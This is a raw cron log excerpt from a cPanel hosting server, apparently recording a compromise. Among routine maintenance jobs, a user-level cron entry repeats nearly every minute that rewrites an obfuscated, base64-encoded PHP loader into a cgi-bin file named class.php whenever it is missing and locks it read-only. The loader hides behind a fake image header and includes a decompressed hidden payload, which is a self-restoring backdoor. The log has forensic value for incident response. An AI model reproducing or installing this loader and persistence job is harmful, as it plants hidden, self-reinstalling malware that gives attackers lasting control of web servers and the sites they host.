m5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:16:01 server CROND[16208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:17:01 server CROND[16621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:17:01 server CROND[16622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:17:01 server CROND[16623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:18:01 server CROND[17006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:18:01 server CROND[17007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:18:01 server CROND[17008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:19:01 server CROND[17442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:19:01 server CROND[17444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:19:01 server CROND[17443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:20:01 server CROND[17858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:20:01 server CROND[17860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:20:01 server CROND[17861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:20:01 server CROND[17862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:20:01 server CROND[17865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:20:01 server CROND[17870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:20:01 server CROND[17871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:20:01 server CROND[17866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:20:01 server CROND[17867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:21:01 server CROND[18696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:21:01 server CROND[18697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:21:01 server CROND[18698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:22:01 server CROND[19132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:22:01 server CROND[19133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:22:01 server CROND[19134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:23:01 server CROND[19511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:23:01 server CROND[19513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:23:01 server CROND[19514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:24:01 server CROND[19953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:24:01 server CROND[19952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:24:01 server CROND[19954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:25:01 server CROND[20379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:25:01 server CROND[20380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:25:01 server CROND[20381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:25:01 server CROND[20386]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 12:25:01 server CROND[20385]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:25:01 server CROND[20384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:25:01 server CROND[20387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:25:01 server CROND[20389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:26:01 server CROND[21229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:26:01 server CROND[21230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:26:01 server CROND[21231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:27:01 server CROND[21611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:27:01 server CROND[21612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:27:01 server CROND[21613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:27:01 server CROND[21615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:28:01 server CROND[21996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:28:01 server CROND[21998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
